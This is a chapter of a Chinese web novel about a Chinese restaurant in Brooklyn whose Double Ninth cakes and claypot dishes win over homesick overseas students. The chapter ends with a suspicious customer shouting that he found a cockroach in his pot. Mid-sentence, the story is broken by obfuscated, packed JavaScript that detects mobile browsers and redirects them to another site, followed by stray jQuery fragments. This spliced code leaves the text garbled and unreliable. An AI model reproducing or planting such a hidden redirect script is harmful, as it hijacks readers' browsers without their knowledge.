22. 重阳糕、啫啫煲

作品:《御厨,被迫在北美当留子[古穿今]

    听说食记上了新菜,留学群又热闹了起来。


    【啊啊啊啊,刚想去第九大道换换口味,餐厅都订好了,你告诉我出新菜了?】


    【没事,你去换口味,我帮你尝新菜。】


    【啧啧,算盘珠子都快溅我脸上了,别以为我不知道,你是想减少一个抢位对手!】


    【才没有,你别瞎说!(目移)】


    自从食记被分享到群里,短短一周,一跃成为布鲁克林的宝藏餐厅,尽管留学生们小心翼翼保护这个消息不要传播得太远,可食记还是一到餐点一座难求。


    周内要上课,离得远的过不来,离得近的来晚也吃不到,毕竟还要上课,根本没时间排队。


    可想而知闲暇的双休,食记的客流量会有多恐怖。


    能劝走一个就多一分机会。


    见这招不行,有人一边朝食记飞奔,一边还不忘施展其他策略。


    【呜呜呜谁懂啊,连续吃了一周炒饭卤味牛腩面,我的钱包饿瘦了。】


    【那么它的主人呢?】


    【……】


    【此时此刻,财富的重要性突然具象化了。】


    【多么希望自己是亿万富翁,顿顿能在食记吃。】


    【瞧你那点出息,都亿万富翁了,还不能把食记搬回家?说不定还能私人定制呢。】


    【有道理嘿!】


    【……你们真有出息。】


    一群人正相互调侃时,突然看到一条。


    【成功退订,我已经在食记门口,等待品尝美味的啫啫煲咯!】


    【……!我靠,你个老六,现在才十点半,我自行车都快蹬冒烟了,你竟然已经到了?!】


    【耶(^——^)V】


    看到这里,刘奕终于忍不住把手机扔在桌上,对着电脑烦躁地搓了几下脑袋。


    这群人……


    至于吗?!


    不就是一家整改重新开张的中餐厅,至于连续一周都在群里疯狂刷屏,每天好吃好吃地叫个不停吗?


    但,有一说一。


    能让整个纽约的留子都为之疯狂,刘奕这个离家四年的老留子又怎么能不心动?


    可他大半个月前,才在小某书上嘲讽几百粉丝的美食博主恰烂钱,又在一周前,在群里说食记难吃反被打脸。


    哪怕食记就开在公寓楼下,他也拉不下脸去吃。


    每天看着群里的刷屏,还有书房窗外原本萧瑟的街口大排长龙,心里简直就像是有无数个小人在疯狂给他抓痒痒。


    偏偏食记还不开通外卖,他也不好意思让认识的留子帮他代买,弄得他一整周都抓耳挠腮得不行。


    有种山珍海味就摆在面前,他却刚拔完一口牙,力不从心的痛苦。


    再这样下去……


    他怕是要被群里那帮留子们馋死!


    眼看就要到十一点,餐厅开门的时间,刘奕心里愈发难受,什么都做不下去。


    耳边仿佛还能听到墙上钟表滴答滴答的声音。


    啊啊啊啊。


    不管了,面子哪有肚子重要。


    他合起电脑,冲进衣帽间,戴上帽子和口罩,一番简单粗暴的乔装打扮后,抓起手机爆冲出公寓大门。


    巡逻保安:?


    什么东西过去了?


    ……


    上午十一点整,食记准时开门,在门外等待已久的顾客如蜂群涌了进去。


    丽萨和莉莉显然习以为常,招呼顾客坐下后,给每人赠送一杯热气腾腾的菊花茶配一小块插着小彩旗的菊糕,让大家能够暖暖身子。


    “哇,老板也太贴心了吧。”


    “谁说不是呢,今天是重阳,餐厅大概不能卖酒,所以才把菊花酒换成菊花茶的吧,还配一块重阳糕,真是太有心了。”


    “啊?重阳节?你不说我都不知道。”


    “正常,在国内的时候我们也不太注意到这些节日,我也是出来后才特意关注这些。”


    身处异国他乡,面对不同的文化,难免会产生陌生感,而这些本国传统文化在某种时刻,总会给予自身一些聊胜于无的慰藉。


    可惜,除了中秋端午春节这些重大节日聚集华裔的地区会营造氛围,其他节气或是小节日都不太会有人在意。


    尤其是重阳节这种没有法定节假的日子。


    它最多只存在于“遍插茱萸少一人”的中学课本里。


    却没想到,今天会在一个外国人经营的餐厅,重新感受到这种久违的氛围。


    离家多年的刘奕对此感触更深,于是把口罩往下拉了点,抿了口馥郁芳香的菊花茶。


    嗯?这茶……


    喝起来居然一点也不廉价。


    花香味浓,跟国内茶馆比起来竟然也不差多少。


    又咬一口精致可人的重阳糕。


    米香浓郁,豆沙绵密,果仁和糖桂花相得益彰,让质朴的米香变得甜润,吃起来松软而柔韧,又不失口感,吃完嘴巴里还有淡淡的回甘,像是把晚秋的余韵都吃进了嘴里。


    刘奕眼眶一热,不知道为什么,忽然有点想哭。


    或许是因为悔恨没早点来吃这家中餐。


    也或许是因为别的。


    其他人也没好到哪儿去。


    都从一开始对好吃的赠品感到惊讶,到心里暖暖的,到最后越吃越沉默,连单都忘了点。


    丽萨和莉莉都蒙了。


    以为饮品和甜点不和胃口,忙跑到后厨去找唐宁。


    唐宁也是一惊,以为有人吃带有坚果的重阳糕过敏了,赶忙出来查看。


    站在厨房门口扫视一圈,顿时了然。


    哦。


    没事。


    正要往回走,丽萨拉住她,“宁,现在怎么办?要不要报警?”


    唐宁笑道:“无妨,你直接让他们点单吧。”


    说完就回了厨房。


    丽萨将信将疑,迟疑一瞬,递给莉莉一份菜单,两人开始分头点餐。


    果不其然。


    菜单递过去的一霎那,消沉的气氛顿时散去,只剩一连串的惊喜。


    “我听说新菜是啫啫煲,还以为只有一种,没想到居然有这么多选择?!”


    “老板,我要一份沙姜黄油啫啫煲!”


    “一份黑椒牛肉啫啫煲。”


    “浓酱海鲜啫啫煲!”


    “我不爱吃浓酱,那就要个柠檬大虾啫啫煲吧。”


    “那我就来个比翼双飞啫啫煲。”


    “咦?这么多种类,怎么没有我最爱的排骨啫啫煲?”


    “别闹,骚猪警告!”


    “哈哈哈哈哈哈对不起我忘了,现在是在扭腰客。”


    餐厅里几乎都是中国人,大多都是留子,甚至还是一个群的,即便隔着网线没见过面,同类的感觉也足以让人放松,说着说着就相互开起玩笑来。


    丽萨和莉莉也被这热闹的气氛感染,工作的时候也十分愉快。


    莉莉甚至还跟几位顾客讨论了几句汉语。


    刘奕扫视一圈,愈发觉得后悔。


    应该早点来的!


    还好他没为了那点不值钱的面子,错过这么美好的时刻。


    正要脱下帽子,卸下伪装,跟群里的小伙伴打招呼,忽然瞥见旁边餐桌也有一个包裹得严严实实的男人。


    不是中国


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210363|196118||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人,而是白人。


    看起来大概有三十多岁,就算戴着帽子和墨镜,一身休闲装,也遮挡不住他茂密的手毛。


    之所以注意到他,也不光因为他是众多华人里少数的外国人。


    毕竟也有中国留子带关系要好的外国人来。


    而是因为他的行为实在有些鬼祟,不像个好人。


    刘奕眉头一皱,正想去套个话,身旁出现一个胖胖的身影。


    “沙姜黄油鸡啫啫煲来了。”


    莉莉把砂锅放在竹垫上,用一口接近纯正的中文报完菜名,提醒刘奕,“小心烫。”


    刘奕一愣,抬头看见一双亮晶晶的眼睛,就像公寓隔壁那家汉语学习班里,学会一句汉语就迫不及待求老师表扬的孩子。


    他不禁一笑,同样用中文说道:“谢谢。”


    莉莉雀跃道:“不用谢,祝你用餐愉快。”


    待莉莉迈着雀跃的步伐离开,刘奕心道:这女孩还挺可爱的。


    不过经过这么一打断,他也忘了刚才要做什么,只盯着面前啫啫响的黄油鸡煲,一时间挪不开眼。


    砂锅还噗噗地冒着白汽,带着一股子横冲直撞的香味,直往脸上扑。


    不是。


    这也……


    太香了吧?!


    不仅如此,看起来也很诱人啊。


    砂锅里的鸡块分量十足,紧紧挤在一起,鸡皮煨得金黄透亮,有点像金包蜜的琥珀,底下的黄油在热量中化开,浇灌在白花花的鸡肉上,丝毫不寡淡,沁着淡淡的油黄,还有沙姜和酱油炒制的酱色。


    最动人的是挨着砂锅的那几块鸡,鸡皮被高温煎出赭石色,带着一缕格外馋人的焦香。


    刘奕也顾不上烫,夹起一块鸡肉,迅速吹了两口就放进嘴巴里。


    满口油香。


    这种香是鸡本身的黄油香味,一点也不腻,在沙姜的衬托下,反而吃出一点类似冰激凌一样的甜。


    肉是嫩的,嫩得不像话。


    牙齿轻轻一咬,肉就顺着纹理散开,咸里带甜,甜里带辛,辛里又透出焦香,一层一层地铺开,像潮水,退下去又涌上来,怎么也吃不腻。


    他又夹了一块贴着砂锅的焦皮鸡。


    皮是脆的,肉是嫩的,两种口感在嘴里打架,打到最后谁也分不清谁,只能感觉到令人欲罢不能的焦香,有点像老火汤的苦。


    偏偏就是这点苦,把所有味道都吊起来了,让甜的更甜,咸的更咸,香的更香。


    吃到一半,底下的汁还在啫啫地响,那些沙姜沉在锅底,被汁水煮得软了,香气全逼出来,融进每一滴汤汁里。


    刘奕用筷子拨了拨,发现底下还藏着几瓣蒜,煨得透了,软烂如泥,用筷子一夹就扁了,送进嘴里,是糯的,甜的,没有半点生蒜的冲。


    居然比鸡肉还让人上头!


    他筷子舞得出神入化,头也不抬,只一味地吃吃吃。


    很久都没这么畅快地吃过一顿饭了。


    吃到最后,食材都吃完了,砂锅还是烫的。


    他抬起头一看,其他桌上的人大多跟他一样,连话都顾不上说一句,只有偶尔溢出的“好烫好烫”“好吃好吃”“这个虾绝了,特鲜甜”“牛肉好嫩啊怎么这么好吃”“我将心甘情愿为食记献上我的钱包”。


    听得刚吃完一份啫啫煲的刘奕又馋了。


    他摸了摸肚子。


    或许,还可以再来一份。


    牛肉的?还是海鲜的?


    正当他纠结的时候,隔壁桌那位狗狗祟祟的白人突然拍了下桌子。


    大喊:


    “哦上帝啊,我的锅里竟然有一只肥蟑螂!”